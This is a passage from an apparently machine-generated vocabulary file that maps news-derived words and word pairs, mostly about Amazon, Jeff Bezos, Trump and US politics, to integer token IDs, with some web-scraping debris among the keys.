"math today": 132050, "does trump": 132051, "quarterly profit": 132052, "haven passed": 132053, "hbo channel": 132054, "interview houston": 132055, "2018 gaap": 132056, "crispin glover": 132057, "reports slower": 132058, "vanityfair": 132059, "industry win": 132060, "obstacles": 132061, "trump net": 132062, "superior reality": 132063, "defense authorization": 132064, "divorce fox": 132065, "locate warehouses": 132066, "design car": 132067, "service depends": 132068, "hired everett": 132069, "youth edition": 132070, "mainstream newspapers": 132071, "generally speaking": 132072, "crucial car": 132073, "novel project": 132074, "court lawsuit": 132075, "brakes": 132076, "bette": 132077, "reports emerge": 132078, "storefronts categories": 132079, "chain new": 132080, "work condition": 132081, "2015 elemental": 132082, "economic analysis": 132083, "2018 saddest": 132084, "carries lot": 132085, "alleged unsafe": 132086, "contrast alexandria": 132087, "dr sandra": 132088, "investment rules": 132089, "money check": 132090, "dictators threatens": 132091, "american troops": 132092, "home headquarters": 132093, "news piece": 132094, "synthesizing additional": 132095, "inclusion letter": 132096, "george linked": 132097, "volatility index": 132098, "amusement parks": 132099, "person trump": 132100, "replace amazon": 132101, "a787ba9a b1a1": 132102, "completely untrue": 132103, "philanthropy amazon": 132104, "investigating pecker": 132105, "tax payment": 132106, "000 current": 132107, "environment mma": 132108, "therapy sickens": 132109, "job openings": 132110, "ricardo": 132111, "loud dude": 132112, "motley told": 132113, "andrew bremberg": 132114, "181 million": 132115, "james thomas": 132116, "rohrabacher says": 132117, "classical": 132118, "amazon actual": 132119, "framed picture": 132120, "farcical trump": 132121, "tru communication": 132122, "wallets": 132123, "innovation costs": 132124, "hq projects": 132125, "c2x t5q": 132126, "hosting countries": 132127, "mass marketplaces": 132128, "saying saving": 132129, "bezos married": 132130, "mehrotra": 132131, "benghazi libya": 132132, "comprised": 132133, "weight": 132134, "councilman francisco": 132135, "latest leslie": 132136, "items needs": 132137, "lg g7": 132138, "rates applied": 132139, "downgraded india": 132140, "clifton broumand": 132141, "personally punish": 132142, "cuts trump": 132143, "key day": 132144, "curious cassidy": 132145, "audience cheering": 132146, "ninety million": 132147, "semi erect": 132148, "great sums": 132149, "ford intel": 132150, "busy cities": 132151, "year looks": 132152, "bloomberg vanity": 132153, "offer sanders": 132154, "demanded": 132155, "hybrid cloud": 132156, "mody nightly": 132157, "amazon benefited": 132158, "reportedly claiming": 132159, "800 shipped": 132160, "donnell ahead": 132161, "closest confidants": 132162, "asserts competitor": 132163, "rental housing": 132164, "rigged search": 132165, "copies according": 132166, "billionaire index": 132167, "patricia zapolsky": 132168, "new income": 132169, "stocks dont": 132170, "lobby suggests": 132171, "calculations delaying": 132172, "analysis individuals": 132173, "angela": 132174, "vans employ": 132175, "movement worldwide": 132176, "america liberals": 132177, "experiencing record": 132178, "hill tech": 132179, "amazon exploring": 132180, "mms": 132181, "wildfire victims": 132182, "red glasses": 132183, "employees thinking": 132184, "trump believes": 132185, "hard reality": 132186, "great state": 132187, "representative confirmed": 132188, "solutions provider": 132189, "illuminates": 132190, "included sunset": 132191, "fox california": 132192, "rivals los": 132193, "800 872": 132194, "couple escalated": 132195, "instigated": 132196, "hyperlocal": 132197, "548 551": 132198, "administrations yes": 132199, "amazon influence": 132200, "isnt necessarily": 132201, "scandal movie": 132202, "payments regulators": 132203, "proof amazon": 132204, "amazon adherents": 132205, "arab spring": 132206, "dealings": 132207, "fnn meaning": 132208, "ensw piece": 132209, "perceptions": 132210, "brodkin": 132211, "trump interview": 132212, "history gives": 132213, "largest shipper": 132214, "question corporate": 132215, "committing": 132216, "larger benefits": 132217, "1084627451983073280": 132218, "geo political": 132219, "tornado passengers": 132220, "alienate": 132221, "exclusive interviews": 132222, "deficits": 132223, "special anymore": 132224, "hellhole": 132225, "news editor": 132226, "includes esdc": 132227, "suliman": 132228, "jacobson writes": 132229, "president opposition": 132230, "trump lackey": 132231, "country export": 132232, "world owns": 132233, "abusing warehouse": 132234, "charges": 132235, "conversations citigroup": 132236, "3661": 132237, "hola buenas": 132238, "570 words": 132239, "bullhorn": 132240, "millennials appear": 132241, "wireless technology": 132242, "independent media": 132243, "extraordinary contributions": 132244, "fest": 132245, "kellyn": 132246, "20th avenue": 132247, "microsoft conference": 132248, "profit agnostic": 132249, "weeding": 132250, "frames asp": 132251, "assuredly": 132252, "tree journalist": 132253, "started life": 132254, "quietly lobby": 132255, "improve artificial": 132256, "party workers": 132257, "amazon dipped": 132258, "homicide": 132259, "superbly": 132260, "confident eu": 132261, "special video": 132262, "york establishment": 132263, "certain industries": 132264, "indelible fashion": 132265, "different partners": 132266, "relationship stating": 132267, "imageserve 834704902": 132268, "american teacher": 132269, "human conflict": 132270, "experience think": 132271, "seventy": 132272, "business practices": 132273, "inform readers": 132274, "marketwatch instagram": 132275, "house jeff": 132276, "fox entertainment": 132277, "trump character": 132278, "offered 573": 132279, "especially mining": 132280, "tech migration": 132281, "story making": 132282, "2017 list": 132283, "nbsptrump": 132284, "foundation attendees": 132285, "carney james": 132286, "anna murdoch": 132287, "perfume": 132288, "social citing": 132289, "fell european": 132290, "story republicans": 132291, "concerning": 132292, "profoundly misunderstood": 132293, "door justin": 132294, "shah told": 132295, "corrugated containers": 132296, "assistance programs": 132297, "member eric": 132298, "eliana": 132299, "mull": 132300, "reportedly sexted": 132301, "single claim": 132302, "allows ibama": 132303, "didnt present": 132304, "kickers rip": 132305, "obviously president": 132306, "discussed rekognition": 132307, "robotic technology": 132308, "black netflix": 132309, "0n17_bcccgcccggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg ggggggggggggggggggggggggggggggggggggggggg": 132310, "hungry brother": 132311, "staples center": 132312, "boston stemming": 132313, "regulation president": 132314, "propping": 132315, "presidential palace": 132316, "quotation": 132317, "dsps": 132318, "sever relationships": 132319, "tubi tv": 132320, "case heard": 132321, "hit job": 132322, "trucks saw": 132323, "hindu script": 132324, "lying corporations": 132325, "usually gotten": 132326, "voice price": 132327, "leaflets": 132328, "leader says": 132329, "capital markets": 132330, "harry razors": 132331, "tax monopoly": 132332, "antarctica": 132333, "worker pensions": 132334, "vulnerability": 132335, "africa national": 132336, "followed separate": 132337, "bullish analyst": 132338, "businesses need": 132339, "highest drug": 132340, "hassan scored": 132341, "battleground races": 132342, "behalf russia": 132343, "pine": 132344, "ongoing media": 132345, "edits trump": 132346, "marla": 132347, "debuting delivery": 132348, "appealing federal": 132349, "tci wealth": 132350, "utm_medium": 132351, "suwol john": 132352, "laying low": 132353, "hurricane iconimageurl": 132354, "reclaim": 132355, "post defends": 132356, "finance chair": 132357, "directors leo": 132358, "solution based": 132359, "company makes": 132360, "dollar general": 132361, "saved lives": 132362, "viniar": 132363, "quickly gained": 132364, "305 price": 132365, "buy evening": 132366, "beating fund": 132367, "continue increasing": 132368, "fbi job": 132369, "result puts": 132370, "star subscribe": 132371, "wallbridge": 132372, "cartography": 132373, "thankless": 132374, "ggggggggggggggggggggggggggggggggggggggggg cnl_global_nav_background_gradient_start": 132375, "certainly concerned": 132376, "expectations bringing": 132377, "symposium": 132378, "dose good": 132379, "sanders wrote": 132380, "mato": 132381, "account covfefe": 132382, "fulfillment items": 132383, "president touted": 132384, "praised fracking": 132385, "years focused": 132386, "assess": 132387, "approved sweeping": 132388, "excerpts embedded": 132389, "gun evidence": 132390, "karl brauer": 132391, "disclose revenue": 132392, "money twitter": 132393, "memorandum aiming": 132394, "cheddar michelle": 132395, "amazon quiet": 132396, "ultimately bad": 132397, "healthcare cape": 132398, "jasco": 132399, "kate steinle": 132400, "nws seattle": 132401, "comment marc": 132402, "outspends tv": 132403, "estimated 155": 132404, "praised amazon": 132405, "sting amtrak": 132406, "form": 132407, "transcript rep": 132408, "role representing": 132409, "presidential planes": 132410, "sanctions movement": 132411, "b9e": 132412, "content spending": 132413, "personnel operations": 132414, "breadth": 132415, "match tickets": 132416, "charity christmas": 132417, "hq2 location": 132418, "people appoint": 132419, "report requested": 132420, "search business": 132421, "egomaniacal leader": 132422, "witnesses source": 132423, "right governing": 132424, "guard nuclear": 132425, "rains thai": 132426, "activated light": 132427, "high literature": 132428, "year history": 132429, "lumberyard": 132430, "alleged actions": 132431, "amazon sought": 132432, "adopt": 132433, "confirms guns": 132434, "atop red": 132435, "birmingham uk": 132436, "allegedly picking": 132437, "amendment concerns": 132438, "smaller vendors": 132439, "z4a": 132440, "won reach": 132441, "t9x": 132442, "small donors": 132443, "reince": 132444, "issue executive": 132445, "mail users": 132446, "news room": 132447, "supremacist agenda": 132448, "law retired": 132449, "fair media": 132450, "kitschy": 132451, "ubhi usds": 132452, "today formally": 132453, "intelligent enterprises": 132454, "quickly president": 132455, "platform jay": 132456, "proprietor jeff": 132457, "fox guarding": 132458, "citizens feeling": 132459, "statement trump": 132460, "transportation deserts": 132461, "legislation 4166": 132462, "professional jealousy": 132463, "alexa screen": 132464, "reviewers agree": 132465, "reportedly cheating": 132466, "douglaston": 132467, "employer agent": 132468, "member costa": 132469, "government kennedy": 132470, "laughs virginia": 132471, "tyler": 132472, "senior advisors": 132473, "wall colin": 132474, "greater fort": 132475, "websites amazonbasics": 132476, "sending fake": 132477, "van bramer": 132478, "year 2035": 132479, "google generates": 132480, "139 000": 132481, "pseudo personal": 132482, "spilling": 132483, "dismal retail": 132484, "stifel scott": 132485, "sanchez robert": 132486, "telstra ceo": 132487, "removing gender": 132488, "europe commissioner": 132489, "political affairs": 132490, "harangued": 132491, "hearth israeli": 132492, "martin corp": 132493, "feedburner": 132494, "sevigny": 132495, "vows": 132496, "politics immigration": 132497, "playmate karen": 132498, "history hurricane": 132499, "deasy process": 132500, "yesterday stock": 132501, "fictional stories": 132502, "hadn heard": 132503, "combined power": 132504, "immersive theater": 132505, "programming team": 132506, "network switches": 132507, "satire program": 132508, "quietly bought": 132509, "juan": 132510, "blackmail ads": 132511, "star ranking": 132512, "making mountains": 132513, "planning easier": 132514, "scholar harvard": 132515, "binary": 132516, "tennessee despite": 132517, "grit": 132518, "rumor spy": 132519, "surgical pain": 132520, "y29uc3rydwn0b3i a4ee": 132521, "extremely straightforward": 132522, "voting poll": 132523, "cite healthier": 132524, "casino town": 132525, "maybe new": 132526, "companies know": 132527, "tech facebook": 132528, "steered": 132529, "tobin": 132530, "gigs": 132531, "forked": 132532, "macy revenue": 132533, "teacher murder": 132534, "manufacturing facilities": 132535, "seoul high": 132536, "pitchforks": 132537, "amazon included": 132538, "receiving valuable": 132539, "pos mention": 132540, "aron sorkin": 132541, "crushed thanks": 132542, "250 price": 132543, "swept away": 132544, "oilpatch practice": 132545, "best decisions": 132546, "7ctwcamp": 132547, "invested": 132548, "fitton judicialwatch": 132549, "comments quotebyline": 132550, "union talk": 132551, "ap aaron": 132552, "shelved red": 132553, "000 maybe": 132554, "381 billion": 132555, "powerhouse amazon": 132556, "prints": 132557, "prize follows": 132558, "line according": 132559, "way real": 132560, "ice hands": 132561, "alps": 132562, "cheapskates built": 132563, "airwaves": 132564, "seamless transacting": 132565, "sheer exasperation": 132566, "game saving": 132567, "offers free": 132568, "account ing": 132569, "upper tier": 132570, "respected foreign": 132571, "tone company": 132572, "000 separate": 132573, "tyranny tell": 132574, "term runs": 132575, "gps coordinates": 132576, "tariffs wont": 132577, "government ethics": 132578, "critical institution": 132579, "level people": 132580, "administration alcoa": 132581, "pipe": 132582, "katherine tully": 132583, "whitelist observer": 132584, "isn lost": 132585, "nassar victims": 132586, "aid took": 132587, "software especially": 132588, "bakr director": 132589, "aneurisms jimmy": 132590, "spouses high": 132591, "repatriating": 132592, "good kids": 132593, "james writing": 132594, "averaging 150": 132595, "began anew": 132596, "harass": 132597, "news searches": 132598, "cementing amazon": 132599, "zinczenko": 132600, "scribd dima": 132601, "fox commentators": 132602, "invoked": 132603, "corp invested": 132604, "2741a addabbo": 132605, "oppositional voices": 132606, "deceive reporters": 132607, "waxed canvas": 132608, "anti oppression": 132609, "healthcare major": 132610, "hea shark": 132611, "douglas gurr": 132612, "etf ibuy": 132613, "underscore": 132614, "fast delivery": 132615, "future meeting": 132616, "partnership": 132617, "changes democratic": 132618, "renewed resonance": 132619, "authorized repurchase": 132620, "section indicates": 132621, "amazon 1tn": 132622, "reporters carl": 132623, "2014 gm": 132624, "ice spokesperson": 132625, "court mandated": 132626, "vague conspiracy": 132627, "decades working": 132628, "power crooked": 132629, "fake hats": 132630, "really hard": 132631, "times science": 132632, "private sectors": 132633, "jack phillips": 132634, "says shares": 132635, "local progressive": 132636, "fed spokesman": 132637, "especially valued": 132638, "cards printed": 132639, "taobao site": 132640, "commerce operation": 132641, "conservatives adding": 132642, "spicer forthcoming": 132643, "fund groups": 132644, "permits": 132645, "billion deficit": 132646, "tax skirmishes": 132647, "stayed clear": 132648, "accumulation": 132649, "dominates cloud": 132650, "world deserves": 132651, "based organizer": 132652, "ralph barat": 132653, "simulated": 132654, "little things": 132655, "website amazon": 132656, "classify": 132657, "unilateral sanctions": 132658, "spurring": 132659, "russia summit": 132660, "programs severing": 132661, "congressman later": 132662, "karachi": 132663, "authoritarian modes": 132664, "seller buy": 132665, "munich security": 132666, "blasio says": 132667, "jumped 181": 132668, "2017 notorious": 132669, "olympic athlete": 132670, "statement cohen": 132671, "vanity project": 132672, "weiser": 132673, "web calls": 132674, "putin national": 132675, "enabling apple": 132676, "elegant study": 132677, "mayor helping": 132678, "early uber": 132679, "attacked jeff": 132680, "function ub": 132681, "look ridiculous": 132682, "naff": 132683, "muttering": 132684, "bee shares": 132685, "seth head": 132686, "investigative staff": 132687, "hq3 mean": 132688, "decided trump": 132689, "pilots obsolete": 132690, "inspections": 132691, "reuters senate": 132692, "cheng": 132693, "bozo euro": 132694, "plane tom": 132695, "motorists president": 132696, "party purchases": 132697, "run asked": 132698, "states inflated": 132699, "wasn trying": 132700, "human presence": 132701, "fntalk": 132702, "making decisions": 132703, "effort upskilling": 132704, "occupied special": 132705, "obama supporters": 132706, "tells axios": 132707, "stephen lynch": 132708, "appoint mcsally": 132709, "encounters": 132710, "economies meet": 132711, "rise drops": 132712, "lifetime don": 132713, "department committee": 132714, "odd critical": 132715, "joins mccain": 132716, "smartphone makers": 132717, "gathering information": 132718, "basks": 132719, "arnold schwartzegger": 132720, "media war": 132721, "asset mgmt": 132722, "central plot": 132723, "poor sales": 132724, "aug 2017": 132725, "cnl_calculated_color f7ce00": 132726, "bach": 132727, "stream nfl": 132728, "delay california": 132729, "visually": 132730, "act instead": 132731, "paint set": 132732, "eu sets": 132733, "adaptability quotient": 132734, "picking": 132735, "agencies tell": 132736, "e3": 132737, "potentially faced": 132738, "l1": 132739, "process typically": 132740, "political controversies": 132741, "motivational": 132742, "team told": 132743, "animated": 132744, "alongside cynthia": 132745, "employer sponsored": 132746, "vest": 132747, "collect additional": 132748, "proposal governor": 132749, "brexit crisis": 132750, "canada washington": 132751, "intriguing": 132752, "stuns": 132753, "today reporter": 132754, "mba": 132755, "traffic hijacked": 132756, "men alums": 132757, "experienced city": 132758, "veterans transition": 132759, "wrote today": 132760, "iq map": 132761, "2020 reports": 132762, "hyung sent": 132763, "intimidate opponents": 132764, "slideshow article": 132765, "dod ubhi": 132766, "baby romper": 132767, "new peaks": 132768, "trump sentiments": 132769, "afternoons": 132770, "politics trump": 132771, "242": 132772, "bankruptcies unless": 132773, "dishwashers": 132774, "closed series": 132775, "100 investors": 132776, "guy role": 132777, "shopping travel": 132778, "experts firm": 132779, "chicago based": 132780, "general economic": 132781, "causeda": 132782, "creating potential": 132783, "talking toys": 132784, "doors demanded": 132785, "paying hundreds": 132786, "nshongore": 132787, "connecticut headquarters": 132788, "projects donnell": 132789, "scam especially": 132790, "proposed metal": 132791, "interesting news": 132792, "new independent": 132793, "rebuked trump": 132794, "hitting woman": 132795, "vir das": 132796, "data domiciled": 132797, "cost burden": 132798, "typical new": 132799, "journalist fielded": 132800, "page summary": 132801, "amid flurry": 132802, "california amazon": 132803, "politician anwar": 132804, "playbook": 132805, "biore sarasara": 132806, "later small": 132807, "raising red": 132808, "sellers tracking": 132809, "m8 o2x": 132810, "battlegrounds pennsylvania": 132811, "walmart launches": 132812, "capper": 132813, "incite backlash": 132814, "preached calm": 132815, "pages including": 132816, "kenya shilling": 132817, "suffe": 132818, "inhumane": 132819, "apartment units": 132820, "executive talent": 132821, "improve transportation": 132822, "forward rep": 132823, "revenue user": 132824, "believes trump": 132825, "cultivated": 132826, "makes counterfeits": 132827, "award 2018": 132828, "cloud management": 132829, "read david": 132830, "regulators demanding": 132831, "google categorically": 132832, "announced increased": 132833, "book porter": 132834, "amazon nonexistent": 132835, "specific individual": 132836, "attorneys": 132837, "commencement": 132838, "crashed astronomically": 132839, "lic economy": 132840, "merge online": 132841, "military blockade": 132842, "refundable meaning": 132843, "wh lawyer": 132844, "free commands": 132845, "afp sen": 132846, "inc_custom_javascript": 132847, "years remi": 132848, "meteoric rise": 132849, "upholds": 132850, "turns extremely": 132851, "surprise proclamation": 132852, "powerful business": 132853, "warns tech": 132854, "unyielding market": 132855, "scandal cars": 132856, "know hate": 132857, "farewell click": 132858, "nude images": 132859, "float embarrassing": 132860, "leavy harpercollins": 132861, "instruments revenue": 132862, "involve facts": 132863, "shed": 132864, "declaration sets": 132865, "mashable sources": 132866, "administration change": 132867, "970 words": 132868, "tank defect": 132869, "jim wunderman": 132870, "demanding": 132871, "listen montgomery": 132872, "allegations hurricane": 132873, "credits related": 132874, "kindling": 132875, "announced elder": 132876, "crime comedy": 132877, "improve google": 132878, "111 744": 132879, "recreation rooms": 132880, "201 commerce": 132881, "flow": 132882, "8th": 132883, "insider noting": 132884, "pce growth": 132885, "minimal effort": 132886, "movie manchester": 132887, "baron monstrosity": 132888, "arebasically saying": 132889, "eliminate rivals": 132890, "giant kaepernick": 132891, "day release": 132892, "called winners": 132893, "state secrets": 132894, "hand facebook": 132895, "reject dianne": 132896, "areas deals": 132897, "probably questionfor": 132898, "guardian reported": 132899, "maryland bid": 132900, "amazon vine": 132901, "lawmakers repeatedly": 132902, "ago schiff": 132903, "politico josh": 132904, "gov jay": 132905, "manufacturing strength": 132906, "shakespeare tragedy": 132907, "political foul": 132908, "info 230m": 132909, "arabia pecker": 132910, "magazine ahead": 132911, "editorial coverage": 132912, "prestige schools": 132913, "transgender person": 132914, "rourke apple": 132915, "beauty source": 132916, "beatriz": 132917, "naive": 132918, "asks just": 132919, "radio": 132920, "week mayor": 132921, "grooming product": 132922, "crossed lovers": 132923, "displaced animals": 132924, "i0": 132925, "related reads": 132926, "trump book": 132927, "flex driver": 132928, "intelligence program": 132929, "philadelphia driver": 132930, "brazile leslie": 132931, "wish amazon": 132932, "appearing": 132933, "outright ban": 132934, "moon blue": 132935, "red wave": 132936, "nation data": 132937, "oversee number": 132938, "hollywood insiders": 132939, "energy underperforming": 132940, "a4": 132941, "upzone": 132942, "ritz carlton": 132943, "repair discussion": 132944, "080 words": 132945, "manhunt underway": 132946, "territories intact": 132947, "mogul rupert": 132948, "western": 132949, "option priced": 132950, "enterprises trump": 132951, "employees spoke": 132952, "gianaris office": 132953, "style 01pm": 132954, "motivations mrbezos": 132955, "later published": 132956, "saltsman": 132957, "math teacher": 132958, "rock holds": 132959, "help evacuate": 132960, "wrath": 132961, "cornish": 132962, "grabenstein": 132963, "financial reserves": 132964, "avoided federal": 132965, "swoop": 132966, "considering facial": 132967, "entirely different": 132968, "data systems": 132969, "founder holly": 132970, "products report": 132971, "unit amazon": 132972, "repeatedly lambasted": 132973, "deals sold": 132974, "procurement says": 132975, "research shows": 132976, "spikes profits": 132977, "coverage especially": 132978, "sensitive technology": 132979, "based amazon": 132980, "backed startups": 132981, "agreement nafta": 132982, "big hit": 132983, "dealer": 132984, "banking businesses": 132985, "mozart sees": 132986, "loudon": 132987, "risks trump": 132988, "cruising county": 132989, "wholesome": 132990, "newly public": 132991, "economists": 132992, "year gap": 132993, "broker deal": 132994, "aspiriant llc": 132995, "resolution president": 132996, "online best": 132997, "dude breaking": 132998, "people love": 132999, "trevor": 133000, "exact timeline": 133001, "offers employees": 133002, "bulbs": 133003, "revenue rising": 133004, "wendell willkie": 133005, "completely bogus": 133006, "stevenoverly": 133007, "received government": 133008, "liss riordan": 133009, "company successful": 133010, "lists dominated": 133011, "diana olick": 133012, "cap sits": 133013, "especially prior": 133014, "startling report": 133015, "olds": 133016, "subscribers compared": 133017, "labour conditions": 133018, "george": 133019, "lust": 133020, "standing partner": 133021, "sector accounts": 133022, "historical revisionist": 133023, "american gods": 133024, "1907": 133025, "association national": 133026, "rt gadget_pron": 133027, "county executive": 133028, "fake monopolies": 133029, "ultimately god": 133030, "effort failed": 133031, "new airports": 133032, "000 residents": 133033, "various states": 133034, "enquirer scoop": 133035, "met trump": 133036, "fan henry": 133037, "media told": 133038, "iqiyi stocks": 133039, "2016 electoral": 133040, "turned lic": 133041, "victoria graham": 133042, "report deputies": 133043, "chakrabarti": 133044, "used thanksgiving": 133045, "trump kavanaugh": 133046, "fanatic firm": 133047, "warming cbs": 133048, "sunglasses": 133049, "usps talks": 133050, "installed user": 133051, "connor": 133052, "issues subpoena": 133053, "gun law": 133054, "tech hub": 133055, "device changed": 133056, "golden roll": 133057, "president declared": 133058, "node 17044620011": 133059, "major setback": 133060, "sources amazon": 133061, "pyramid scheme": 133062, "tributes fox": 133063, "carell want": 133064, "called universal": 133065, "traded amazon": 133066, "clinical pharmacist": 133067, "uncovering bezos": 133068, "solid companies": 133069, "pivoted": 133070, "season yes": 133071, "companies grow": 133072, "momentous": 133073, "nominees robert": 133074, "problems caption": 133075, "away lot": 133076, "wood amazon": 133077, "property taxes": 133078, "protest racial": 133079, "cavaliers preview": 133080, "calculated response": 133081, "founder fantasised": 133082, "online know": 133083, "trade agreements": 133084, "females hey": 133085, "workers": 133086, "underwater according": 133087, "commerce citi": 133088, "bezos revelation": 133089, "governance": 133090, "companies people": 133091, "new tax": 133092, "detailed story": 133093, "oil rose": 133094, "bezos detailed": 133095, "mishmash": 133096, "highest paid": 133097, "deemed": 133098, "read customer": 133099, "hear gunshot": 133100, "verify website": 133101, "india flipkart": 133102, "video politics": 133103, "wsfolders 13022228": 133104, "lifestyle": 133105, "largest parcel": 133106, "air amazon": 133107, "muslim": 133108, "return": 133109, "fastcompany": 133110, "appalling": 133111, "ukrainian jewish": 133112, "plucky little": 133113, "occupy senior": 133114, "antitrust probes": 133115, "idea antitrust": 133116, "video app": 133117, "amazon investors": 133118, "marketplace trump": 133119, "selloff mode": 133120, "revenue recognition": 133121, "sicker offering": 133122, "house moves": 133123, "barat": 133124, "air force": 133125, "funnies": 133126, "partenheimer wrote": 133127, "post scandals": 133128, "today christal": 133129, "slope ian600f": 133130, "rights alongside": 133131, "reduce efficiency": 133132, "manufacturing surveys": 133133, "somewhat comedic": 133134, "blood bank": 133135, "currencies 2018": 133136, "ohio voted": 133137, "ln": 133138, "stopped purchasing": 133139, "charles riley": 133140, "greta van": 133141, "neo colonists": 133142, "giants biding": 133143, "photograph joshua": 133144, "sales marking": 133145, "work according": 133146, "intention": 133147, "cr india": 133148, "hurt european": 133149, "averting new": 133150, "advances amazon": 133151, "gsi general": 133152, "owned despite": 133153, "looking forward": 133154, "clientx clienty": 133155, "parkland school": 133156, "high insider": 133157, "shipping think": 133158, "unattainable": 133159, "competition antitrust": 133160, "important institution": 133161, "upswing": 133162, "foundation edelman": 133163, "actually cares": 133164, "nri": 133165, "dollar loss": 133166, "cranial surgery": 133167, "valedictorians": 133168, "broadcast team": 133169, "260 million": 133170, "india latest": 133171, "league baseball": 133172, "care including": 133173, "bigger visy": 133174, "dwyer dwyer": 133175, "ebay inventory": 133176, "man say": 133177, "walmart kroger": 133178, "women people": 133179, "management registered": 133180, "mos axios": 133181, "advanced discussions": 133182, "tweet caused": 133183, "dix written": 133184, "ellisonkeith": 133185, "interview underscore": 133186, "665": 133187, "economist called": 133188, "platforms serve": 133189, "salad cathy": 133190, "clicked": 133191, "story dows": 133192, "arizona detention": 133193, "huffpost request": 133194, "shira notes": 133195, "wrongly convicted": 133196, "felons ignore": 133197, "marcia fudge": 133198, "betty": 133199, "commerce competitors": 133200, "recently slammed": 133201, "uses software": 133202, "certainly reached": 133203, "included 500": 133204, "favorite people": 133205, "america begged": 133206, "company unveils": 133207, "beef significant": 133208, "elaine wynn18": 133209, "university professor": 133210, "amazon territory": 133211, "broader range": 133212, "bike trail": 133213, "student exploration": 133214, "include trumpnation": 133215, "amazon discontinued": 133216, "stuffing cranberry": 133217, "community debate": 133218, "project saying": 133219, "legal risk": 133220, "8450 ext": 133221, "landing va": 133222, "jumping 354": 133223, "laffer": 133224, "breadcrumbs": 133225, "formally": 133226, "allocating incrementally": 133227, "advocacy group": 133228, "reports rizer": 133229, "elissa smith": 133230, "taiwanese company": 133231, "impressed": 133232, "ourfriendlyforest": 133233, "perspective lines": 133234, "cambria investments": 133235, "trading": 133236, "pittsburgh based": 133237, "explosion american": 133238, "artist seeks": 133239, "a1 bbt": 133240, "boomer silent": 133241, "money snl": 133242, "priests say": 133243, "onus": 133244, "descriptiontext duration": 133245, "old won": 133246, "space infrastructure": 133247, "sell goods": 133248, "numerous times": 133249, "took different": 133250, "airport online": 133251, "diaries": 133252, "information jedi": 133253, "skyrocketing housing": 133254, "uncover": 133255, "makes policy": 133256, "monopolist": 133257, "thewashington post": 133258, "victim tropical": 133259, "breaks arlington": 133260, "international expansion": 133261, "net margin": 133262, "jobs trump": 133263, "run cnn": 133264, "released video": 133265, "help turn": 133266, "venue close": 133267, "girls regina": 133268, "proof president": 133269, "facebook integration": 133270, "movies touch": 133271, "trump looming": 133272, "governments": 133273, "separate tweets": 133274, "control washington": 133275, "trump operating": 133276, "ceo ian": 133277, "entitled getting": 133278, "negotiator": 133279, "dws": 133280, "northwest biz": 133281, "ernt allbright": 133282, "retail jobs": 133283, "prevent election": 133284, "sykescharlie": 133285, "receive ibd": 133286, "taxes recently": 133287, "stamford headquarters": 133288, "later sharply": 133289, "investors burned": 133290, "physically sick": 133291, "seller performance": 133292, "entrepreneurs small": 133293, "shares hm": 133294, "indian": 133295, "circle crank": 133296, "vel\u00e1zquez ny": 133297, "schuster tapeworms": 133298, "frustrations": 133299, "legal defense": 133300, "markets wrote": 133301, "unchartered": 133302, "deutsch worried": 133303, "modernized": 133304, "asian cup": 133305, "wrote sanders": 133306, "jones richard": 133307, "animal sacrifice": 133308, "laguna beach": 133309, "partners etsy": 133310, "confronting russian": 133311, "host jim": 133312, "kitchens": 133313, "thinkrolls": 133314, "tmi": 133315, "cultural melting": 133316, "seek bigger": 133317, "presley": 133318, "trump animus": 133319, "taxes bob": 133320, "resist": 133321, "hot topic": 133322, "putin meeting": 133323, "frequently criticizes": 133324, "pat ward": 133325, "hvac systems": 133326, "fires michael": 133327, "federal presence": 133328, "col rob": 133329, "followed years": 133330, "grau": 133331, "taye diggs": 133332, "violent symbol": 133333, "based storage": 133334, "automatically": 133335, "abhishek": 133336, "bezos commissioned": 133337, "n2x a4ee": 133338, "post tweeting": 133339, "blackmail legal": 133340, "trade disputes": 133341, "uncovered damaging": 133342, "tour accuses": 133343, "creating captive": 133344, "eons spanning": 133345, "varieties lists": 133346, "company policy": 133347, "researches": 133348, "primary measure": 133349, "influence city": 133350, "plus times": 133351, "deceit": 133352, "good afternoon": 133353, "new wage": 133354, "blasio forgot": 133355, "implementing": 133356, "fact think": 133357, "reputable tech": 133358, "wives incautiously": 133359, "helps attract": 133360, "finally finished": 133361, "does jedi": 133362, "columnist andrew": 133363, "alleged chinese": 133364, "saotome": 133365, "financial mistake": 133366, "domestic profile": 133367, "linked pecker": 133368, "content patriot": 133369, "warren statement": 133370, "pass snoqualmiepass": 133371, "ace hardware": 133372, "billion air": 133373, "agriculture proving": 133374, "rm816 billion": 133375, "textile museum": 133376, "gracie": 133377, "prose pagels": 133378, "new restaurants": 133379, "kokonas": 133380, "direct public": 133381, "publication alleged": 133382, "company billions": 133383, "media prefer": 133384, "4q 2017": 133385, "allow manufacturers": 133386, "harvey god": 133387, "counter basic": 133388, "trade negotiations": 133389, "laquan": 133390, "recklessness make": 133391, "craft wood": 133392, "ap michael": 133393, "pam bondi": 133394, "743 cnbc": 133395, "unnecessary citizenship": 133396, "euro": 133397, "big proposition": 133398, "cbre says": 133399, "credible": 133400, "tax provision": 133401, "attracted": 133402, "carryforwards": 133403, "costs set": 133404, "literary artistic": 133405, "agriculture": 133406, "say good": 133407, "unidentified fbi": 133408, "small flatbed": 133409, "fall 2018": 133410, "state credo": 133411, "foods ads": 133412, "agreement replacing": 133413, "suggested date": 133414, "hyped selection": 133415, "locka bursts": 133416, "retail continues": 133417, "recent event": 133418, "florida gulf": 133419, "worst week": 133420, "mysterious hilarious": 133421, "crisis don": 133422, "haskett analyst": 133423, "netflix paid": 133424, "city allowing": 133425, "contractor agreed": 133426, "highly fixed": 133427, "hour utility": 133428, "contributor hannity": 133429, "content business": 133430, "pay isn": 133431, "worth 100": 133432, "grew significantly": 133433, "remains amazon": 133434, "tried searching": 133435, "panel": 133436, "brimble": 133437, "work legally": 133438, "acquire lobbyist": 133439, "analysts wrote": 133440, "trump plans": 133441, "quest blamed": 133442, "sepeda": 133443, "favorite questions": 133444, "complex called": 133445, "reporters snapped": 133446, "including instances": 133447, "teaching real": 133448, "track farming": 133449, "trump battle": 133450, "overall honorees": 133451, "missed mortgage": 133452, "furry": 133453, "examine ways": 133454, "approached comcast": 133455, "diminish": 133456, "wolfe passed": 133457, "interesting times": 133458, "monet": 133459, "appropriations subcommittee": 133460, "effectively killing": 133461, "doled": 133462, "clearance needed": 133463, "women money": 133464, "fedex": 133465, "us2": 133466, "basic obligation": 133467, "owns stakes": 133468, "ozs": 133469, "uber new": 133470, "7i0r4xht9m national": 133471, "apprentices earn": 133472, "potential recession": 133473, "husband successor": 133474, "story ocasio": 133475, "source 